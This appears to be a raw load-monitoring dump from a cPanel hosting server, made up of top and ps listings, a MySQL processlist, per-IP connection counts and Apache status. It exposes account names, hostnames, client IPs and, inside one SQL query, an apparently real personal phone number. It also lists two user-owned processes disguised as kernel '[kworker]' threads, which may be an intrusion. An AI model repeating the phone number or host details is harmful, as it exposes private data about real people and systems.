 35666 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 36743 oysipao+  20   0    3148      8      0 S   0.0  0.0   0:00.00 [kworker]
 36754 oysipao+  20   0    3152     28      0 S   0.0  0.0   0:00.11 [kworker]
 37111 root      20   0       0      0      0 S   0.0  0.0   0:00.04 [kworker/+
 38044 nobody    20   0  277720  18800   4028 S   0.0  0.8   0:00.82 /usr/sbin+
 39681 nobody    20   0  277796  18368   4108 S   0.0  0.8   0:00.48 /usr/sbin+
 39689 nobody    20   0  277924  18648   3936 S   0.0  0.8   0:00.44 /usr/sbin+
 40387 nobody    20   0  277924  18024   3836 S   0.0  0.7   0:00.49 /usr/sbin+
 40396 nobody    20   0  277984  18892   4188 S   0.0  0.8   0:00.45 /usr/sbin+
 41673 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 42298 nobody    20   0  277532  17860   3760 S   0.0  0.7   0:00.13 /usr/sbin+
 42860 root      20   0   60820   4512   3524 S   0.0  0.2   0:00.00 dovecot/l+
 43199 nobody    20   0  277836  17708   3644 S   0.0  0.7   0:00.11 /usr/sbin+
 43291 root      20   0       0      0      0 S   0.0  0.0   0:00.01 [kworker/+
 43440 nobody    20   0  277788  17152   3312 S   0.0  0.7   0:00.10 /usr/sbin+
 43492 root      20   0  111304   4272   3252 S   0.0  0.2   0:00.00 sshd: [ac+
 43520 nobody    20   0  277824  17424   3556 S   0.0  0.7   0:00.03 /usr/sbin+
 43527 sshd      20   0  115644   2628   1560 S   0.0  0.1   0:00.00 sshd: [ne+
 43556 root      20   0  157100   5076   3788 S   0.0  0.2   0:00.00 sshd: unk+
 43558 sshd      20   0  115644   2628   1564 S   0.0  0.1   0:00.00 sshd: unk+
 43748 root      20   0  111304   4268   3252 S   0.0  0.2   0:00.00 sshd: [ac+
 43847 root      20   0       0      0      0 Z   0.0  0.0   0:00.00 [cpaneld +
 43888 salutem   20   0  403848  18072   4352 S   0.0  0.7   0:00.08 php-fpm: +
 43889 root      20   0  157100   5080   3792 S   0.0  0.2   0:00.00 sshd: unk+
 43890 sshd      20   0  115644   2628   1560 S   0.0  0.1   0:00.00 sshd: unk+
 43893 mailnull  20   0   89496   5420   2220 S   0.0  0.2   0:00.00 /usr/sbin+
 43911 nigeria   20   0  397064   4420   2324 S   0.0  0.2   0:00.00 php-fpm: +
 43914 root      20   0  183048   2144   1580 S   0.0  0.1   0:00.00 /usr/sbin+
 43917 root      20   0  183048   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43918 root      20   0  183048   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43919 root      20   0  183048   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43920 root      20   0  183048   2148   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43921 root      20   0  183048   2144   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43923 root      20   0  183048   2144   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43924 root      20   0  183048   2144   1588 S   0.0  0.1   0:00.00 /usr/sbin+
 43926 root      20   0  183048   2140   1584 S   0.0  0.1   0:00.00 /usr/sbin+
 43928 root      20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /bin/sh -+
 43930 root      20   0  108052    360    284 S   0.0  0.0   0:00.00 /usr/bin/+
 43932 cloudw    20   0  350316  16884  10452 R   0.0  0.7   0:00.01 /opt/cpan+
 43936 root      20   0  113288   1520   1300 S   0.0  0.1   0:00.00 /bin/bash+
 43941 root      20   0   20164    984    788 S   0.0  0.0   0:00.00 jailshell+
 43944 root      20   0   20164    968    768 S   0.0  0.0   0:00.00 jailshell+
 43945 root      20   0   20164    804    632 S   0.0  0.0   0:00.00 /usr/loca+
 43946 root      20   0   20164    972    768 S   0.0  0.0   0:00.00 jailshell+
 43947 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 43948 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 43950 root      20   0   20164    808    632 S   0.0  0.0   0:00.00 /usr/loca+
 43951 root      20   0   20164    988    788 S   0.0  0.0   0:00.00 jailshell+
 43964 nigeria   20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
 43968 pactpay   20   0   20164    260      0 S   0.0  0.0   0:00.00 jailshell+
 43971 pactpay   20   0  476724  17480  11728 S   0.0  0.7   0:00.01 /opt/cpan+
 43989 root      20   0       0      0      0 S   0.0  0.0   0:00.00 [kworker/+
 43999 root      20   0  160220   2064   1580 R   0.0  0.1   0:00.00 top -bcn1
 44001 cloudsms  20   0       0      0      0 D   0.0  0.0   0:00.00 [jailshel+
 44005 cloudsms  20   0   20164    256      0 S   0.0  0.0   0:00.00 jailshell+
 44006 cloudsms  20   0  113284   1212   1032 S   0.0  0.1   0:00.00 /usr/loca+
 44007 cloudsms  20   0  400652  15408  10004 S   0.0  0.6   0:00.00 /opt/cpan+
 54966 root      30  10  132964      4      0 S   0.0  0.0   0:00.00 ConfigSer+
 54977 root      30  10  108056      0      0 S   0.0  0.0   0:00.00 sleep 172+
 77080 root      20   0       0      0      0 S   0.0  0.0   0:00.45 [kworker/+
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          2  0.0  0.0      0     0 ?        S    09:36   0:00 [kthreadd]
root          4  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [kworker/0:0H]
root          6  0.0  0.0      0     0 ?        S    09:36   0:00  \_ [ksoftirqd/0]
root          7  0.0  0.0      0     0 ?        S    09:36   0:00  \_ [migration/0]
root          8  0.0  0.0      0     0 ?        S    09:36   0:00  \_ [rcu_bh]
root          9  0.1  0.0      0     0 ?        S    09:36   0:09  \_ [rcu_sched]
root         10  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [lru-add-drain]
root         11  0.0  0.0      0     0 ?        S    09:36   0:00  \_ [watchdog/0]
root         12  0.0  0.0      0     0 ?        S    09:36   0:00  \_ [watchdog/1]
root         13  0.0  0.0      0     0 ?        S    09:36   0:00  \_ [migration/1]
root         14  0.0  0.0      0     0 ?        S    09:36   0:02  \_ [ksoftirqd/1]
root         16  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [kworker/1:0H]
root         18  0.0  0.0      0     0 ?        S    09:36   0:00  \_ [kdevtmpfs]
root         19  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [netns]
root         20  0.0  0.0      0     0 ?        S    09:36   0:00  \_ [khungtaskd]
root         21  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [writeback]
root         22  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [kintegrityd]
root         23  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [bioset]
root         24  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [bioset]
root         25  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [bioset]
root         26  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [kblockd]
root         27  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [md]
root         28  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [edac-poller]
root         29  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [watchdogd]
root         36  0.5  0.0      0     0 ?        S    09:36   0:35  \_ [kswapd0]
root         37  0.0  0.0      0     0 ?        SN   09:36   0:00  \_ [ksmd]
root         38  0.0  0.0      0     0 ?        SN   09:36   0:00  \_ [khugepaged]
root         39  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [crypto]
root         47  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [kthrotld]
root         49  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [kmpath_rdacd]
root         50  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [kaluad]
root         51  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [kpsmoused]
root         52  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [ipv6_addrconf]
root         65  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [deferwq]
root        101  0.0  0.0      0     0 ?        S    09:36   0:00  \_ [kauditd]
root        231  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [ata_sff]
root        239  0.0  0.0      0     0 ?        S    09:36   0:00  \_ [scsi_eh_0]
root        240  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [scsi_tmf_0]
root        242  0.0  0.0      0     0 ?        S    09:36   0:00  \_ [scsi_eh_1]
root        245  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [scsi_tmf_1]
root        252  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [ttm_swap]
root        259  0.0  0.0      0     0 ?        S<   09:36   0:02  \_ [kworker/1:1H]
root        264  0.0  0.0      0     0 ?        S<   09:36   0:02  \_ [kworker/0:1H]
root        276  0.0  0.0      0     0 ?        S    09:36   0:00  \_ [jbd2/vda3-8]
root        277  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [ext4-rsv-conver]
root        415  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [rpciod]
root        416  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [xprtiod]
root        620  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [kvm-irqfd-clean]
root        676  0.0  0.0      0     0 ?        S<   09:36   0:04  \_ [loop0]
root        687  0.0  0.0      0     0 ?        S    09:36   0:00  \_ [jbd2/loop0-8]
root        688  0.0  0.0      0     0 ?        S<   09:36   0:00  \_ [ext4-rsv-conver]
root      77080  0.0  0.0      0     0 ?        S    10:30   0:00  \_ [kworker/u200:2]
root       3598  0.0  0.0      0     0 ?        S    10:49   0:00  \_ [kworker/1:4]
root       3893  0.0  0.0      0     0 ?        D    10:50   0:00  \_ [kworker/u200:0]
root       5344  0.0  0.0      0     0 ?        D    10:51   0:00  \_ [kworker/0:1]
root      20129  0.0  0.0      0     0 ?        S    11:01   0:00  \_ [kworker/0:2]
root      31951  0.0  0.0      0     0 ?        S    11:11   0:00  \_ [kworker/1:2]
root      34970  0.0  0.0      0     0 ?        S    11:15   0:00  \_ [kworker/0:3]
root      35666  0.0  0.0      0     0 ?        D    11:16   0:00  \_ [kworker/0:4]
root      37111  0.0  0.0      0     0 ?        S    11:18   0:00  \_ [kworker/1:3]
root      41673  0.0  0.0      0     0 ?        S    11:24   0:00  \_ [kworker/0:0]
root      43291  0.0  0.0      0     0 ?        S    11:26   0:00  \_ [kworker/1:0]
root      43989  0.0  0.0      0     0 ?        S    11:27   0:00  \_ [kworker/1:1]
root          1  0.1  0.1  44404  3484 ?        Ss   09:36   0:10 /usr/lib/systemd/systemd --switched-root --system --deserialize 22
root        358  0.0  0.2  40248  6904 ?        Ss   09:36   0:04 /usr/lib/systemd/systemd-journald
root        393  0.0  0.0  45352     8 ?        Ss   09:36   0:00 /usr/lib/systemd/systemd-udevd
root        411  0.0  0.0  55532   420 ?        S<sl 09:36   0:00 /sbin/auditd
polkitd     497  0.0  0.0 612240  1092 ?        Ssl  09:36   0:00 /usr/lib/polkit-1/polkitd --no-debug
root        499  0.0  0.0  52852   260 ?        Ss   09:36   0:00 /usr/sbin/smartd -n -q never
root        501  0.0  0.2 224280  5836 ?        Ss   09:36   0:00 queueprocd - waiting up to 60s to process a task
rpc         506  0.0  0.0  69256    60 ?        Ss   09:36   0:00 /sbin/rpcbind -w
root        507  0.0  0.0 152780    64 ?        Ss   09:36   0:00 /usr/sbin/pure-authd -s /var/run/ftpd.sock -r /usr/local/cpanel/bin/pureauth
dbus        508  0.0  0.0  58704  1408 ?        Ss   09:36   0:03 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
nscd        512  0.1  0.0 996544  1504 ?        Ssl  09:36   0:09 /usr/sbin/nscd
root        524  0.0  0.0   4388     4 ?        Ss   09:36   0:00 /usr/sbin/acpid
root        534  0.0  0.0  21540   348 ?        Ss   09:36   0:00 /usr/sbin/irqbalance --foreground
root        537  0.0  0.0  24828  1356 ?        Ss   09:36   0:01 /usr/lib/systemd/systemd-logind
root        557  0.0  0.0 195208     0 ?        Ssl  09:36   0:00 /usr/sbin/gssproxy -D
root        586  0.0  0.0  24208     0 ?        Ss   09:36   0:00 /usr/sbin/atd -f
root        588  0.0  0.0 124480   432 ?        Ss   09:36   0:00 /usr/sbin/crond -n
root      43914  0.0  0.0 183048  2144 ?        S    11:27   0:00  \_ /usr/sbin/CROND -n
root      43928  0.0  0.0 113284  1212 ?        Ss   11:27   0:00  |   \_ /bin/sh -c /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch &> /dev/null
root      43930  0.0  0.0 108052   360 ?        S    11:27   0:00  |       \_ /usr/bin/flock -n /dev/shm/loadwatch.lock -c /usr/local/lp/bin/loadwatch
root      43936  0.0  0.0 113288  1520 ?        S    11:27   0:00  |           \_ /bin/bash /usr/local/lp/bin/loadwatch
root      44008  0.0  0.0 153840  2096 ?        R    11:27   0:00  |               \_ ps auxf
root      43917  0.0  0.0 183048  2148 ?        S    11:27   0:00  \_ /usr/sbin/CROND -n
root      43945  0.0  0.0  20164   804 ?        Ss   11:27   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue2.php > /dev/null 2>&1
root      43918  0.0  0.0 183048  2148 ?        S    11:27   0:00  \_ /usr/sbin/CROND -n
root      43941  0.0  0.0  20164   984 ?        Ss   11:27   0:00  |   \_ jailshell (cloudsms) [44005] ll -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
cloudsms  44005  0.0  0.0  20164   256 ?        S    11:27   0:00  |       \_ jailshell (cloudsms) [init] ell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
cloudsms  44006  0.0  0.0 113284  1212 ?        S    11:27   0:00  |           \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/massmailer/cron.php > /dev/null 2>&1
cloudsms  44007  0.0  0.6 400652 15408 ?        S    11:27   0:00  |               \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/cloudsms/public_html/massmailer/cron.php
root      43919  0.0  0.0 183048  2148 ?        S    11:27   0:00  \_ /usr/sbin/CROND -n
root      43948  0.0  0.0  20164   808 ?        Ss   11:27   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue.php > /dev/null 2>&1
root      43920  0.0  0.0 183048  2148 ?        S    11:27   0:00  \_ /usr/sbin/CROND -n
root      43950  0.0  0.0  20164   808 ?        Ss   11:27   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue5.php > /dev/null 2>&1
root      43921  0.0  0.0 183048  2144 ?        S    11:27   0:00  \_ /usr/sbin/CROND -n
root      43947  0.0  0.0  20164   808 ?        Ss   11:27   0:00  |   \_ /usr/local/cpanel/bin/jailshell -c cd /home/cloudsms/public_html/cron/ ; php -q -f /home/cloudsms/public_html/cron/process_queue4.php > /dev/null 2>&1
root      43924  0.0  0.0 183048  2144 ?        S    11:27   0:00  \_ /usr/sbin/CROND -n
root      43944  0.0  0.0  20164   968 ?        Ss   11:27   0:00  |   \_ jailshell (pactpay) [43968] ell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   43968  0.0  0.0  20164   260 ?        S    11:27   0:00  |       \_ jailshell (pactpay) [init] hell -c php -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
pactpay   43971  0.0  0.7 476724 17480 ?        S    11:27   0:00  |           \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/pactpay/public_html/secure/cron/currency_rate.php
root      43926  0.0  0.0 183048  2140 ?        S    11:27   0:00  \_ /usr/sbin/CROND -n
root      43946  0.0  0.0  20164   972 ?        Ss   11:27   0:00      \_ jailshell (nigeria) [43964] ell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   43964  0.0  0.0  20164   260 ?        S    11:27   0:00          \_ jailshell (nigeria) [init] hell -c php -q -f /home/nigeria/public_html/crons/analyzer.php
nigeria   43966  0.0  0.6 400652 15936 ?        S    11:27   0:00              \_ /opt/cpanel/ea-php74/root/usr/bin/php-cgi -q -f /home/nigeria/public_html/crons/analyzer.php
mailnull    589  0.0  0.1  89116  3672 ?        Ss   09:36   0:00 /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
mailnull  43893  0.0  0.2  89496  5420 ?        S    11:26   0:00  \_ /usr/sbin/exim -ps -bd -q60m -oP /var/spool/exim/exim-daemon.pid
root        593  0.0  0.0 114704     0 ttyS0    Ss+  09:36   0:00 /bin/bash
root        595  0.0  0.0 108296     8 tty1     Ss+  09:36   0:00 /sbin/agetty --noclear tty1 linux
systuser    925  0.0  0.5 114016 12696 ?        Ssl  09:36   0:01 /usr/local/lp/opt/exporters/blackbox_exporter/blackbox_exporter --config.file /usr/local/lp/etc/exporters/blackbox.yml
root        926  0.0  0.0 153404   224 ?        Ss   09:36   0:00 pure-ftpd (SERVER)
root        929  0.6 20.7 1828056 501684 ?      Ssl  09:36   0:44 /usr/local/cpanel/3rdparty/bin/clamd -F
root        936  0.0  0.0 386112   288 ?        Ss   09:36   0:00 php-fpm: master process (/opt/cpanel/ea-php70/root/etc/php-fpm.conf)
root        937  0.0  0.0 385496   392 ?        Ss   09:36   0:00 php-fpm: master process (/opt/cpanel/ea-php73/root/etc/php-fpm.conf)
root        947  0.0  0.2 261152  6176 ?        Ss   09:36   0:01 cpsrvd (SSL) - waiting for connections                   
root      43847  0.0  0.0      0     0 ?        Z    11:26   0:00  \_ [cpaneld - servi] <defunct>
root        948  0.0  0.0 397344   760 ?        Ss   09:36   0:00 php-fpm: master process (/opt/cpanel/ea-php74/root/etc/php-fpm.conf)
nigeria   43911  0.0  0.1 397064  4420 ?        S    11:27   0:00  \_ php-fpm: pool nigeriadecide_org
named       949  0.0  1.2 646188 31192 ?        Ssl  09:36   0:05 /usr/sbin/pdns_server --guardian=no --daemon=no --disable-syslog --log-timestamp=no --write-pid=no
systuser    950  0.0  0.0  11348    36 ?        Ssl  09:36   0:00 /usr/local/lp/opt/exporters/mysqld_exporter/mysqld_exporter --config.my-cnf=/usr/local/lp/etc/exporters/my.cnf
root        956  0.0  0.0 436392   360 ?        Ss   09:36   0:00 php-fpm: master process (/opt/cpanel/ea-php56/root/etc/php-fpm.conf)
memcach+    957  0.0  0.0 342400    16 ?        Ssl  09:36   0:00 /usr/bin/memcached -u memcached -p 11211 -m 64 -c 1024
telegraf    958  0.0  1.4 5654048 34732 ?       SLsl 09:36   0:04 /usr/local/lp/bin/telegraf -config /usr/local/lp/etc/telegraf.toml -config-directory /usr/local/lp/etc/telegraf.d
root        961  0.0  0.0 111304   356 ?        Ss   09:36   0:00 /usr/sbin/sshd -D
root      43492  0.0  0.1 111304  4272 ?        Ss   11:26   0:00  \_ sshd: [accepted]
sshd      43527  0.0  0.1 115644  2628 ?        S    11:26   0:00  |   \_ sshd: [net]
root      43556  0.0  0.2 157100  5076 ?        Ss   11:26   0:00  \_ sshd: unknown [priv]
sshd      43558  0.0  0.1 115644  2628 ?        S    11:26   0:00  |   \_ sshd: unknown [net]
root      43748  0.0  0.1 111304  4268 ?        Ss   11:26   0:00  \_ sshd: [accepted]
root      43889  0.0  0.2 157100  5080 ?        Ss   11:26   0:00  \_ sshd: unknown [priv]
sshd      43890  0.0  0.1 115644  2628 ?        S    11:26   0:00      \_ sshd: unknown [net]
root        962  0.0  0.2 232784  6312 ?        Ssl  09:36   0:01 /usr/sbin/rsyslogd -n
systuser    970  0.0  0.0 111608    76 ?        Ssl  09:36   0:00 /usr/local/lp/opt/exporters/php-fpm_exporter/php-fpm_exporter server
cpanelc+    975  0.1  0.1   9956  2892 ?        Ss   09:36   0:06 /usr/local/cpanel/3rdparty/sbin/p0f -i any -u cpanelconnecttrack -d -s /var/cpanel/userhomes/cpanelconnecttrack/p0f.socket less 400 and not dst port 80 and not dst port 443 and tcp[13] & 8==0
root        987  0.0  0.0 392856   432 ?        Ss   09:36   0:00 php-fpm: master process (/opt/cpanel/ea-php81/root/etc/php-fpm.conf)
salutem   43888  2.6  0.7 403848 18072 ?        S    11:26   0:00  \_ php-fpm: pool salutem_com_ng
root        990  0.0  0.0 572372   860 ?        Ssl  09:36   0:00 /usr/bin/python2 -Es /usr/sbin/tuned -l -P
systuser    991  0.0  0.0  10132    40 ?        Ssl  09:36   0:00 /usr/local/lp/opt/exporters/apache_exporter/apache_exporter
root        995  0.0  0.0 445028     0 ?        Ss   09:36   0:00 sw-engine-fpm: master process (/etc/sw-engine/sw-engine-fpm.conf)
systuser   1001  0.0  0.0 113932    68 ?        Ssl  09:36   0:00 /usr/local/lp/opt/exporters/node_exporter/node_exporter
root       1003  0.0  0.0  51508   624 ?        Ss   09:36   0:00 /usr/sbin/dovecot -F -c /etc/dovecot/dovecot.conf
dovenull   1123  0.0  0.0  46904  2368 ?        S    09:36   0:00  \_ dovecot/pop3-login
dovenull   1124  0.0  0.1  47452  2676 ?        S    09:36   0:00  \_ dovecot/imap-login
dovecot    1125  0.0  0.0  10320   460 ?        S    09:36   0:00  \_ dovecot/anvil
root       1126  0.0  0.0  10452   544 ?        S    09:36   0:00  \_ dovecot/log
dovenull   1127  0.0  0.0  46912  2180 ?        S    09:36   0:00  \_ dovecot/pop3-login
dovenull   1128  0.0  0.1  47332  2616 ?        S    09:36   0:00  \_ dovecot/imap-login
root       1134  0.0  0.0  24528  2028 ?        S    09:36   0:00  \_ dovecot/config
dovecot    1143  0.0  0.0  13568   612 ?        S    09:36   0:00  \_ dovecot/stats
dovecot    1221  0.0  0.0  41188  1460 ?        S    09:36   0:00  \_ dovecot/auth
root      42860  0.0  0.1  60820  4512 ?        S    11:25   0:00  \_ dovecot/lmtp
systuser   1185  0.0  0.1 157708  3000 ?        S    09:36   0:00 SonarPush 0.6.12 [sleeping]
root       1199  0.0  1.0 262224 24620 ?        Ss   09:36   0:00 cpdavd - accepting connections on: 2091, 2077, 2078
root       1201  0.0  0.0 167452  1200 ?        Ss   09:36   0:00 dnsadmin - dormant mode
root       1202  0.0  0.8 209364 21024 ?        Ss   09:36   0:01 tailwatchd
wp-tool+   1209  0.0  0.8 410452 21440 ?        Ss   09:36   0:05 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script background-tasks-executor.php
wp-tool+   1210  0.0  0.3 387528  7868 ?        Ss   09:36   0:00 /usr/bin/sw-engine /usr/local/cpanel/3rdparty/wp-toolkit/bin/run-script scheduled-tasks-executor.php
root       1627  0.0  0.0 299272   500 ?        Ss   09:36   0:00 php-fpm: master process (/usr/local/cpanel/etc/php-fpm.conf)
root       1698  0.0  0.0 130416  1360 ?        SN   09:36   0:00 cpanellogd - sleeping for logs
mysql      1753  1.4  9.2 1462292 224724 ?      Sl   09:36   1:33 /usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid
root       1959  0.0  0.2 267036  4892 ?        Ss   09:36   0:02 /usr/sbin/httpd -k start
root       1960  0.0  0.0  12828   324 ?        S    09:36   0:01  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --suffix=-bytes_log
root       1961  0.0  0.0  12732   284 ?        S    09:36   0:01  \_ /usr/local/cpanel/bin/splitlogs --main=apache-traffic.log --mainout=/var/log/cpanel-server-traffic/web/traffic-apache.log
root       1962  0.0  0.0  12860   336 ?        S    09:36   0:01  \_ /usr/local/cpanel/bin/splitlogs --dir=/etc/apache2/logs/domlogs --main=chs1.nescrow.com.ng --mainout=/etc/apache2/logs/access_log
root       1966  0.0  0.0  53252     4 ?        S    09:36   0:00  \_ /usr/local/cpanel/3rdparty/bin/perl /usr/local/cpanel/bin/leechprotect
nobody    23986  0.1  0.8 277720 19536 ?        S    11:03   0:01  \_ /usr/sbin/httpd -k start
nobody    24141  0.1  0.7 277720 18764 ?        S    11:03   0:01  \_ /usr/sbin/httpd -k start
nobody    25405  0.1  0.7 277720 19228 ?        S    11:04   0:01  \_ /usr/sbin/httpd -k start
nobody    26963  0.1  0.7 277656 19204 ?        S    11:05   0:01  \_ /usr/sbin/httpd -k start
nobody    29807  0.1  0.8 277932 19464 ?        S    11:08   0:01  \_ /usr/sbin/httpd -k start
nobody    31648  0.1  0.7 277784 19120 ?        S    11:10   0:01  \_ /usr/sbin/httpd -k start
nobody    31830  0.1  0.7 277892 19140 ?        S    11:10   0:01  \_ /usr/sbin/httpd -k start
nobody    32584  0.1  0.7 277932 19152 ?        S    11:11   0:01  \_ /usr/sbin/httpd -k start
nobody    38044  0.1  0.7 277720 18800 ?        S    11:19   0:00  \_ /usr/sbin/httpd -k start
nobody    39681  0.1  0.7 277796 18368 ?        S    11:21   0:00  \_ /usr/sbin/httpd -k start
nobody    39689  0.1  0.7 277924 18648 ?        S    11:21   0:00  \_ /usr/sbin/httpd -k start
nobody    40387  0.1  0.7 277924 18024 ?        S    11:22   0:00  \_ /usr/sbin/httpd -k start
nobody    40396  0.1  0.7 277984 18892 ?        S    11:22   0:00  \_ /usr/sbin/httpd -k start
nobody    42298  0.1  0.7 277532 17860 ?        S    11:24   0:00  \_ /usr/sbin/httpd -k start
nobody    43199  0.1  0.7 277836 17708 ?        S    11:25   0:00  \_ /usr/sbin/httpd -k start
nobody    43440  0.2  0.7 277788 17152 ?        S    11:26   0:00  \_ /usr/sbin/httpd -k start
nobody    43520  0.0  0.7 277824 17424 ?        S    11:26   0:00  \_ /usr/sbin/httpd -k start
root       2015  0.0  0.3 181660  8080 ?        Ss   09:36   0:05 lfd - sleeping
oysipao+  36743  0.0  0.0   3148     8 ?        Ss   10:01   0:00 [kworker]
oysipao+  36754  0.0  0.0   3152    28 ?        S    10:01   0:00  \_ [kworker]
root      54966  0.0  0.0 132964     4 ?        SN   10:14   0:00 ConfigServer Version Check
root      54977  0.0  0.0 108056     0 ?        SN   10:14   0:00  \_ sleep 17201
root       4057  0.1  5.0 248188 121048 ?       Ss   10:50   0:03 /usr/local/cpanel/3rdparty/perl/536/bin/perl -T -w /usr/local/cpanel/3rdparty/bin/spamd --allowed-ips=127.0.0.1,::1 --max-children=5 --pidfile=/var/run/spamd.pid --listen=5 --listen=6
root       8629  0.0  5.2 261940 128136 ?       S    10:53   0:00  \_ spamd child
root       8630  0.0  5.2 261552 127804 ?       S    10:53   0:00  \_ spamd child
root      19017  0.0  0.4 1276356 11240 ?       Ssl  11:00   0:00 /usr/bin/cspdaemon
root      19059  0.0  0.4 1277312 11900 ?       Ssl  11:00   0:00 /usr/bin/checkstatus
## mysql stats
Uptime: 28355  Threads: 3  Questions: 471469  Slow queries: 0  Opens: 4655  Flush tables: 1  Open tables: 2000  Queries per second avg: 16.627
*************************** 1. row ***************************
     Id: 6723
   User: nigeria_decide
   Host: localhost
     db: nigeria_decide
Command: Query
   Time: 0
  State: Sending data
   Info: SELECT * FROM `13` WHERE `phone`='2348064910674' LIMIT 1
*************************** 2. row ***************************
     Id: 6724
   User: pactpay_testing1
   Host: localhost
     db: pactpay_real
Command: Query
   Time: 0
  State: Sending data
   Info: SELECT `id` FROM `currency_rate` WHERE `day`='2025-11-13' LIMIT 1
*************************** 3. row ***************************
     Id: 6735
   User: root
   Host: localhost
     db: NULL
Command: Query
   Time: 0
  State: starting
   Info: show processlist
## network stats
      1 105.112.205.69 TIME_WAIT
      1 142.44.220.232 TIME_WAIT
      1 ::1 TIME_WAIT
      1 51.222.204.143 TIME_WAIT
      1 51.222.95.1 TIME_WAIT
      1 66.249.70.192 TIME_WAIT
      1 66.249.70.197 TIME_WAIT
      2 10.30.9.122 TIME_WAIT
      2 10.30.9.138 TIME_WAIT
      2 127.0.0.1 TIME_WAIT
     16 20.222.232.51 TIME_WAIT
## httpd stats
                                                                                                                                                                                  Apache Server Status for localhost (via ::1)

   Server Version: Apache/2.4.65 (cPanel) OpenSSL/1.1.1w mod_bwlimited/1.4
   Server MPM: prefork
   Server Built: Oct 28 2025 23:52:55
     __________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________

   Current Time: Thursday, 13-Nov-2025 11:27:02 WAT
   Restart Time: Thursday, 13-Nov-2025 03:34:33 WAT
   Parent Server Config. Generation: 1
   Parent Server MPM Generation: 0
   Server uptime: 7 hours 52 minutes 28 seconds
   Server load: 0.49 0.52 0.64
   Total accesses: 61264 - Total Traffic: 1.7 GB - Total Duration: 209090381
   CPU Usage: u11.67 s6.5 cu843.3 cs739.76 - 5.65% CPU load
   2.16 requests/sec - 64.2 kB/second - 29.7 kB/request - 3412.94 ms/request
   11 requests currently being processed, 0 workers gracefully restarting, 6 idle workers

KK.__..WK_K_KKK._K........._........K....................W......
................................................................
................................................................
................................................................

   Scoreboard Key:
   "_" Waiting for Connection, "S" Starting up, "R" Reading Request,
   "W" Sending Reply, "K" Keepalive (read), "D" DNS Lookup,
   "C" Closing connection, "L" Logging, "G" Gracefully finishing,
   "I" Idle cleanup of worker, "." Open slot with no current process

   Srv   PID     Acc     M CPU   SS   Req   Dur    Conn  Child  Slot     Client     Protocol           VHost                                        Request
   0-0  40387 1/104/1620 K 2.09 0     357 933141   30.0  2.53  43.91 66.249.70.193  http/1.1 schoolplus.cloudware.ng:80 GET /?p=3199797992 HTTP/1.1
